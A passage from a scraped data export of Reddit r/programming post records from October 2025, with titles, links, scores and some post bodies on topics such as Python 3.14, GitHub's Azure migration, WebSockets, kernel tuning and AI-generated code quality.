  "permalink": "https://www.reddit.com/r/programming/comments/1o27dq7/github_will_prioritize_migrating_to_azure_over/",
  "title": "GitHub Will Prioritize Migrating to Azure Over Feature Development",
  "body": null,
  "author": "SKAOG",
  "subreddit": "programming",
  "score": 847,
  "upvoteRatio": 0.97,
  "numComments": 255,
  "createdAt": "2025-10-09T14:27:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thenewstack.io/github-will-prioritize-migrating-to-azure-over-feature-development/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o1n25o",
  "url": "https://cloud.google.com/blog/products/ai-machine-learning/announcing-the-2025-dora-report",
  "permalink": "https://www.reddit.com/r/programming/comments/1o1n25o/2025_dora_report_state_of_aiassisted_software/",
  "title": "2025 DORA Report: State of AI-Assisted Software Development",
  "body": null,
  "author": "grauenwolf",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.62,
  "numComments": 7,
  "createdAt": "2025-10-08T20:54:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cloud.google.com/blog/products/ai-machine-learning/announcing-the-2025-dora-report",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o1lyb0",
  "url": "https://chuniversiteit.nl/papers/svelte-is-fast",
  "permalink": "https://www.reddit.com/r/programming/comments/1o1lyb0/svelte_really_is_that_fast/",
  "title": "Svelte really is that fast",
  "body": null,
  "author": "tanin47",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.6,
  "numComments": 20,
  "createdAt": "2025-10-08T20:12:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chuniversiteit.nl/papers/svelte-is-fast",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o1ew9w",
  "url": "https://blog.miguelgrinberg.com/post/python-3-14-is-here-how-fast-is-it",
  "permalink": "https://www.reddit.com/r/programming/comments/1o1ew9w/python_314_is_here_how_fast_is_it/",
  "title": "Python 3.14 Is Here. How Fast Is It?",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 271,
  "upvoteRatio": 0.9,
  "numComments": 129,
  "createdAt": "2025-10-08T16:12:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.miguelgrinberg.com/post/python-3-14-is-here-how-fast-is-it",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o1bo11",
  "url": "https://typescript-is-like-csharp.chrlschn.dev/pages/intro-and-motivation.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1o1bo11/intro_and_motivation_typescript_is_like_c/",
  "title": "Intro and Motivation | TypeScript is Like C#",
  "body": null,
  "author": "Xadartt",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 5,
  "createdAt": "2025-10-08T14:14:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://typescript-is-like-csharp.chrlschn.dev/pages/intro-and-motivation.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o1bcvl",
  "url": "https://blog.cloudflare.com/how-we-found-a-bug-in-gos-arm64-compiler/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o1bcvl/how_we_found_a_bug_in_gos_arm64_compiler/",
  "title": "How we found a bug in Go's arm64 compiler",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 428,
  "upvoteRatio": 0.96,
  "numComments": 35,
  "createdAt": "2025-10-08T14:02:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cloudflare.com/how-we-found-a-bug-in-gos-arm64-compiler/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o15f77",
  "url": "https://www.youtube.com/watch?v=pz3UgkyhgXk",
  "permalink": "https://www.reddit.com/r/programming/comments/1o15f77/tsoding_bison_and_possible_alternatives/",
  "title": "Tsoding, Bison and possible alternatives",
  "body": "So, the programming influencer Tsoding (who I watch every now and then) made a video about Yacc, Bison and other parsing tools. It's apparently part of  his series where he goes into cryptic and outdated GNU stuff. Either to make alternatives, make fun of it, or both.\n\n  \nHere is the thing... when I learned language theory they used Bison to give us a \"real-life\" example of grammars being used... and it still the tool I use it to this day. Now I've become worried that I may be working with outdated tools, and there are better alternatives out there I need to explore.\n\n  \nI've yet some way to finish the video, but from what I've seen so far Tsoding does NOT reference any better or more modern way to parse code. Which lead me to post this...\n\n  \nWhat do you use to make grammars / parse code on daily bases?   \nWhat do you use in C/Cpp? What about Python?",
  "author": "Nac_oh",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.54,
  "numComments": 24,
  "createdAt": "2025-10-08T09:04:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=pz3UgkyhgXk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o0t8ml",
  "url": "https://shiftmag.dev/how-guess-who-logic-shapes-ai-decision-trees-and-predictive-ml-5874/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o0t8ml/the_childhood_game_that_explains_ais_decision/",
  "title": "The childhood game that explains AI’s decision trees",
  "body": "An engineer recently explored how the classic board game Guess Who? reveals the underlying logic of AI decision trees.\n\nIn the game, players don’t guess — they ask the question that gives the most information, systematically eliminating possibilities until only one remains. This mirrors how decision trees in machine learning split data: each “question” (feature) aims to reduce uncertainty and create cleaner partitions.\n\nThe project draws direct parallels between the game’s yes/no mechanics and predictive ML processes, such as feature selection and information gain. Just as a player might ask, “Does your character wear glasses?” to remove half the options, a model might ask, “Is blood pressure high?” to refine its classification.\n\nBy using a nostalgic, visual example, the engineer illustrates how understanding question efficiency in a simple game can demystify how AI models learn to make accurate predictions with minimal steps.",
  "author": "shift_devs",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 5,
  "createdAt": "2025-10-07T22:22:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shiftmag.dev/how-guess-who-logic-shapes-ai-decision-trees-and-predictive-ml-5874/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o0m43p",
  "url": "https://typescript-is-like-csharp.chrlschn.dev/pages/intro-and-motivation.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1o0m43p/typescript_is_like_c/",
  "title": "TypeScript is Like C#",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.54,
  "numComments": 11,
  "createdAt": "2025-10-07T17:58:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://typescript-is-like-csharp.chrlschn.dev/pages/intro-and-motivation.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o0jkp3",
  "url": "https://medium.com/@shivangsharma6789/websockets-vs-http-stop-choosing-the-wrong-protocol-fd0e92b204cd",
  "permalink": "https://www.reddit.com/r/programming/comments/1o0jkp3/why_i_stopped_using_websockets_for_highthroughput/",
  "title": "Why I stopped using WebSockets for high-throughput systems",
  "body": "I recently redesigned our location tracking system (500K active users)  \nand made a counter-intuitive choice: switched FROM WebSockets TO HTTP.\n\nHere's why:\n\n\\*\\*The Problem:\\*\\*  \n\\- 500K WebSocket connections = 8GB just for connection state  \n\\- Sticky sessions made scaling a nightmare  \n\\- Mobile battery drain from heartbeat pings  \n\\- Reconnection storms when servers crashed\n\n\\*\\*The Solution:\\*\\*  \n\\- HTTP with connection pooling  \n\\- Stateless architecture  \n\\- 60% better mobile battery life  \n\\- Linear horizontal scaling\n\n\\*\\*Key Lesson:\\*\\*  \nWebSockets aren't about throughput—they're about bidirectional  \ncommunication. If your server doesn't need to push data to clients,  \nHTTP is usually better.\n\nI wrote a detailed breakdown with 10 real system design interview  \nquestions testing this concept:  [https://medium.com/@shivangsharma6789/websockets-vs-http-stop-choosing-the-wrong-protocol-fd0e92b204cd](https://medium.com/@shivangsharma6789/websockets-vs-http-stop-choosing-the-wrong-protocol-fd0e92b204cd)",
  "author": "Better-Reporter-2154",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 11,
  "createdAt": "2025-10-07T16:28:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@shivangsharma6789/websockets-vs-http-stop-choosing-the-wrong-protocol-fd0e92b204cd",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o0ik5m",
  "url": "https://www.python.org/downloads/release/python-3140/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o0ik5m/python_release_python_3140/",
  "title": "Python Release Python 3.14.0",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 241,
  "upvoteRatio": 0.96,
  "numComments": 68,
  "createdAt": "2025-10-07T15:50:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.python.org/downloads/release/python-3140/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o0gnv2",
  "url": "https://blog.ganets.ky/Buffalo/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o0gnv2/buffalobuffalobuffalo/",
  "title": "buffalo::buffalo::buffalo...",
  "body": null,
  "author": "Xadartt",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 1,
  "createdAt": "2025-10-07T14:41:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.ganets.ky/Buffalo/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o0gdef",
  "url": "https://vkoskiv.com/first-linux-patch/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o0gdef/my_first_contribution_to_linux/",
  "title": "My First Contribution to Linux",
  "body": null,
  "author": "Xaneris47",
  "subreddit": "programming",
  "score": 341,
  "upvoteRatio": 0.96,
  "numComments": 29,
  "createdAt": "2025-10-07T14:29:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vkoskiv.com/first-linux-patch/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1o087dh",
  "url": "https://tjaycodes.com/pushing-python-to-20000-requests-second/",
  "permalink": "https://www.reddit.com/r/programming/comments/1o087dh/i_pushed_python_to_20000_requests_sentsecond/",
  "title": "I pushed Python to 20,000 requests sent/second. Here's the code and kernel tuning I used.",
  "body": "  \nI wanted to share a personal project exploring the limits of Python for high-throughput network I/O. My clients would always say \"lol no python, only go\", so I wanted to see what was actually possible.\n\nAfter a lot of tuning, I managed to get a stable **\\~20,000 requests/second** from a single client machine.\n\nThe code itself is based on `asyncio` and a library called `rnet`, which is a Python wrapper for the high-performance Rust library `wreq`. This lets me get the developer-friendly syntax of Python with the raw speed of Rust for the actual networking.\n\nThe most interesting part wasn't the code, but the OS tuning. The default kernel settings on Linux are nowhere near ready for this kind of load. The application would fail instantly without these changes.\n\nHere are the most critical settings I had to change on both the client and server:\n\n* Increased Max File Descriptors: Every socket is a file. The default limit of 1024 is the first thing you'll hit.ulimit -n 65536\n* Expanded Ephemeral Port Range: The client needs a large pool of ports to make outgoing connections from.net.ipv4.ip\\_local\\_port\\_range = 1024 65535\n* Increased Connection Backlog: The server needs a bigger queue to hold incoming connections before they are accepted. The default is tiny.net.core.somaxconn = 65535\n* Enabled TIME\\_WAIT Reuse: This is huge. It allows the kernel to quickly reuse sockets that are in a TIME\\_WAIT state, which is essential when you're opening/closing thousands of connections per second.net.ipv4.tcp\\_tw\\_reuse = 1\n\nI've open-sourced the entire test setup, including the client code, a simple server, and the full tuning scripts for both machines. You can find it all here if you want to replicate it or just look at the code:\n\n**GitHub Repo:** [**https://github.com/lafftar/requestSpeedTest**](https://github.com/lafftar/requestSpeedTest)\n\nOn an 8-core machine, this setup hit \\~15k req/s, and it scaled to \\~20k req/s on a 32-core machine. Interestingly, the CPU was never fully maxed out, so the bottleneck likely lies somewhere else in the stack.\n\nI'll be hanging out in the comments to answer any questions. Let me know what you think!\n\n**Blog Post (I go in a little more detail)**: [https://tjaycodes.com/pushing-python-to-20000-requests-second/](https://tjaycodes.com/pushing-python-to-20000-requests-second/)",
  "author": "Lafftar",
  "subreddit": "programming",
  "score": 53,
  "upvoteRatio": 0.58,
  "numComments": 119,
  "createdAt": "2025-10-07T07:30:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tjaycodes.com/pushing-python-to-20000-requests-second/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nzjhce",
  "url": "https://ut21.github.io/blog/triton.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1nzjhce/the_g_in_gpu_is_for_graphics_damnit/",
  "title": "The G in GPU is for Graphics damnit",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 529,
  "upvoteRatio": 0.9,
  "numComments": 119,
  "createdAt": "2025-10-06T13:45:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ut21.github.io/blog/triton.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nzdsjh",
  "url": "https://youtu.be/T7k_n6Ol-6Q",
  "permalink": "https://www.reddit.com/r/programming/comments/1nzdsjh/spline_based_movement_tutorial/",
  "title": "Spline based movement tutorial",
  "body": null,
  "author": "PeterBrobby",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.53,
  "numComments": 0,
  "createdAt": "2025-10-06T08:48:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/T7k_n6Ol-6Q",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nyfbgk",
  "url": "https://javarevisited.substack.com/p/top-7-load-balancing-algorithms-and",
  "permalink": "https://www.reddit.com/r/programming/comments/1nyfbgk/round_robin_vs_least_connection_vs_ip_hash_which/",
  "title": "Round Robin vs Least Connection vs IP Hash? Which Load Balancing Algorithm Wins?",
  "body": null,
  "author": "javinpaul",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.62,
  "numComments": 5,
  "createdAt": "2025-10-05T04:59:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://javarevisited.substack.com/p/top-7-load-balancing-algorithms-and",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ny2uxb",
  "url": "https://sdomi.pl/weblog/26-nobody-here-is-free-of-sin/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ny2uxb/you_cant_parse_xml_with_regex_lets_do_it_anyways/",
  "title": "You can't parse XML with regex. Let's do it anyways",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 255,
  "upvoteRatio": 0.89,
  "numComments": 114,
  "createdAt": "2025-10-04T19:18:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sdomi.pl/weblog/26-nobody-here-is-free-of-sin/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ny2ts5",
  "url": "https://lukeplant.me.uk/blog/posts/breaking-provably-correct-leftpad/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ny2ts5/breaking_provably_correct_leftpad/",
  "title": "Breaking “provably correct” Leftpad",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 9,
  "createdAt": "2025-10-04T19:17:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lukeplant.me.uk/blog/posts/breaking-provably-correct-leftpad/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ny2q7p",
  "url": "https://github.com/johnperry-math/AoC2023/blob/master/More_Detailed_Comparison.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1ny2q7p/a_comparison_of_ada_and_rust_using_solutions_to/",
  "title": "A Comparison of Ada and Rust, Using Solutions to the Advent of Code",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 2,
  "createdAt": "2025-10-04T19:13:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/johnperry-math/AoC2023/blob/master/More_Detailed_Comparison.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nxxaj2",
  "url": "https://youtu.be/aZ5sfhGmEVU?si=zViU96MmmZ9-czgU",
  "permalink": "https://www.reddit.com/r/programming/comments/1nxxaj2/writing_an_http_server_in_rust_from_scratch/",
  "title": "Writing an HTTP server in Rust from scratch",
  "body": null,
  "author": "mre__",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.57,
  "numComments": 0,
  "createdAt": "2025-10-04T15:40:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/aZ5sfhGmEVU?si=zViU96MmmZ9-czgU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nxobte",
  "url": "https://medium.com/ai-advances/theres-a-phantom-author-in-your-codebase-and-it-s-a-problem-0c304daf7087?sk=46318113e5a5842dee293395d033df61",
  "permalink": "https://www.reddit.com/r/programming/comments/1nxobte/the_phantom_author_in_our_codebases_why/",
  "title": "The \"Phantom Author\" in our codebases: Why AI-generated code is a ticking time bomb for quality.",
  "body": "I just had a code review that left me genuinely worried about the state of our industry currently. My peer's solution looked good on paper Java 21, CompletableFuture for concurrency, all the stuff you need basically. But when I asked about specific design choices, resilience, or why certain Java standards were bypassed, the answer was basically, \"Copilot put it there.\"\n\nIt wasn't just vague; the code itself had subtle, critical flaws that only a human deeply familiar with our system's architecture would spot (like using the default ForkJoinPool for I/O-bound tasks in Java 21, a big no-no for scalability). We're getting correct code, but not right code.\n\nI wrote up my thoughts on how AI is creating \"autocomplete programmers\" people who can generate code without truly understanding the why and what we as developers need to do to reclaim our craft. It's a bit of a hot take, but I think it's crucial. Because AI slop can genuinely dethrone companies who are just blatantly relying on AI , especially startups a lot of them are just asking employees to get the output done as quick as possible and there's basically no quality assurance. This needs to stop, yes AI can do the grunt work, but it should not be generating a major chunk of the production code in my opinion.\n\nFull article here: [link](https://medium.com/ai-advances/theres-a-phantom-author-in-your-codebase-and-it-s-a-problem-0c304daf7087?sk=46318113e5a5842dee293395d033df61)\n\nCurious to hear if anyone else is seeing this. What's your take? like i genuinely want to know from all the senior people here on this r/programming subreddit, what is your opinion? Are you seeing the same problem that I observed and I am just starting out in my career but still amongst peers I notice this \"be done with it\" attitude, almost no one is questioning the why part of anything, which is worrying because the technical debt that is being created is insane. I mean so many startups and new companies these days are being just vibecoded from the start even by non technical people, how will the industry deal with all this? seems like we are heading into an era of damage control.",
  "author": "Paper-Superb",
  "subreddit": "programming",
  "score": 894,
  "upvoteRatio": 0.91,
  "numComments": 349,
  "createdAt": "2025-10-04T08:15:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/ai-advances/theres-a-phantom-author-in-your-codebase-and-it-s-a-problem-0c304daf7087?sk=46318113e5a5842dee293395d033df61",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nx3g70",
  "url": "https://github.com/triton-lang/triton/pull/7298",
  "permalink": "https://www.reddit.com/r/programming/comments/1nx3g70/fp8_runs_100_tflops_faster_when_the_kernel_name/",
  "title": "Fp8 runs ~100 tflops faster when the kernel name has \"cutlass\" in it",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 282,
  "upvoteRatio": 0.89,
  "numComments": 48,
  "createdAt": "2025-10-03T16:12:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/triton-lang/triton/pull/7298",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nwfeyg",
  "url": "https://lwn.net/Articles/898522/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nwfeyg/whatever_happened_to_sha256_support_in_git/",
  "title": "Whatever happened to SHA-256 support in Git?",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 1,
  "createdAt": "2025-10-02T20:42:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lwn.net/Articles/898522/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nvzaas",
  "url": "https://volodymyrpotiichuk.com/blog/articles/the-architecture-behind-99%25-uptime",
  "permalink": "https://www.reddit.com/r/programming/comments/1nvzaas/the_architecture_behind_999999_uptime_in_erlang/",
  "title": "The architecture behind 99.9999% uptime in erlang",
  "body": "It’s pretty impressive how apps like Discord and WhatsApp can handle millions of concurrent users, while some others struggle with just a few thousand. Today, we’ll take a look at how Erlang makes it possible to handle a massive workload while keeping the system alive and stable.",
  "author": "NoBarber9673",
  "subreddit": "programming",
  "score": 381,
  "upvoteRatio": 0.94,
  "numComments": 104,
  "createdAt": "2025-10-02T09:39:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://volodymyrpotiichuk.com/blog/articles/the-architecture-behind-99%25-uptime",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nvdaxc",
  "url": "https://seed7.net",
  "permalink": "https://www.reddit.com/r/programming/comments/1nvdaxc/seed7_a_programming_language_which_cares_about/",
  "title": "Seed7: a programming language which cares about maintainability",
  "body": "Seed7 is based on ideas from my diploma and doctoral theses about an extensible programming language (1984 and 1986). In 1989 development began on an interpreter and in 2005 the project was released as open source. Since then it is improved on a regular basis.\n\nSeed7 is about [maintainability](https://seed7.net/faq.htm#maintainability), [portability](https://seed7.net/faq.htm#portable), [performance](https://seed7.net/scrshots/s7c.htm) and [memory safety](https://seed7.net/faq.htm#memory_safety). There is an [automatic memory management](https://seed7.net/faq.htm#garbage_collection), but there is no garbage collection process, that interrupts normal processing. The [templates](https://seed7.net/manual/tutorial.htm#Templates) and [generics](https://seed7.net/manual/decls.htm#Abstract_data_types) of Seed7 don't need special syntax. They are just normal functions, which are executed at compile-time.\n\nSeed7 is an [extensible](https://seed7.net/faq.htm#extensible_programming) programming language. The syntax and semantics of [statements](https://seed7.net/manual/stats.htm) (and [abstract data types](https://seed7.net/manual/decls.htm#Abstract_data_type), etc.) is defined in libraries. The whole language is defined in the library \"seed7\\_05.s7i\". You can extend the language [syntactically](https://seed7.net/manual/syntax.htm) and semantically ([introduce new loops](https://seed7.net/manual/tutorial.htm#Declare_a_statement), etc.). In other languages the syntax and semantics of the language is hard-coded in the compiler.\n\nSeed7 checks for [integer overflow](https://seed7.net/faq.htm#integer_overflow). You either get the correct result or an [OVERFLOW\\_ERROR](https://seed7.net/manual/errors.htm#OVERFLOW_ERROR) is raised. Unlike many JVM based languages Seed7 compiles to machine code ahead of time (GRAAL works ahead of time but it struggles with reflection).  Unlike many systems languages (except Rust) Seed7 is a [memory safe](https://seed7.net/faq.htm#memory_safety) language.\n\nThe [Seed7 homepage](https://seed7.net) contains the language documentation. The source code is at [GitHub](https://github.com/ThomasMertes/seed7). Questions that are not in the [FAQ](https://seed7.net/faq.htm) can be asked at [r/seed7](https://www.reddit.com/r/seed7/).\n\nSome programs written in Seed7 are:\n\n* [make7](https://seed7.net/scrshots/make7.htm): a make utility.\n* [bas7](https://seed7.net/scrshots/bas7.htm): a BASIC interpreter.\n* [pv7](https://seed7.net/scrshots/pv7.htm): a Picture Viewer for BMP, GIF, ICO, JPEG, PBM, PGM, PNG, PPM and TIFF files.\n* [tar7](https://seed7.net/scrshots/tar7.htm): a tar archiving utility.\n* [ftp7](https://seed7.net/scrshots/ftp7.htm): an FTP Internet file transfer program.\n* [comanche](https://seed7.net/scrshots/comanche.htm): a simple web server for static HTML pages and CGI programs.\n\nScreenshots of Seed7 programs can be found [here](https://seed7.net/scrshots/index.htm) and there is a [demo page](https://seed7.net/demo.htm) with Seed7 programs, which can be executed in the browser. These programs have been compiled to JavaScript / WebAssembly.\n\nI recently [released a new version](https://www.reddit.com/r/seed7/comments/1nv9zwf/seed7_version_20250930_released_on_github_and_sf/) which improved the [bas7](https://seed7.net/scrshots/bas7.htm) example program and drivers for console, graphics and databases. The documentation and the code quality were improved as well.\n\nPlease let me know what you think, and consider starring the project on [GitHub](https://github.com/ThomasMertes/seed7), thanks!",
  "author": "ThomasMertes",
  "subreddit": "programming",
  "score": 44,
  "upvoteRatio": 0.66,
  "numComments": 31,
  "createdAt": "2025-10-01T16:41:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://seed7.net",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nvd0yl",
  "url": "https://blog.webf.zone/why-next-js-falls-short-on-software-engineering-d3575614bd08",
  "permalink": "https://www.reddit.com/r/programming/comments/1nvd0yl/why_nextjs_falls_short_on_software_engineering/",
  "title": "Why Next.js Falls Short on Software Engineering",
  "body": null,
  "author": "CompileMyThoughts",
  "subreddit": "programming",
  "score": 318,
  "upvoteRatio": 0.91,
  "numComments": 113,
  "createdAt": "2025-10-01T16:31:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.webf.zone/why-next-js-falls-short-on-software-engineering-d3575614bd08",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nv9610",
  "url": "https://vincentrolfs.dev/blog/ts-var",
  "permalink": "https://www.reddit.com/r/programming/comments/1nv9610/the_temporal_dead_zone_or_why_the_typescript/",
  "title": "The Temporal Dead Zone, or why the TypeScript codebase is littered with var statements",
  "body": null,
  "author": "some-ideation",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 7,
  "createdAt": "2025-10-01T14:07:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
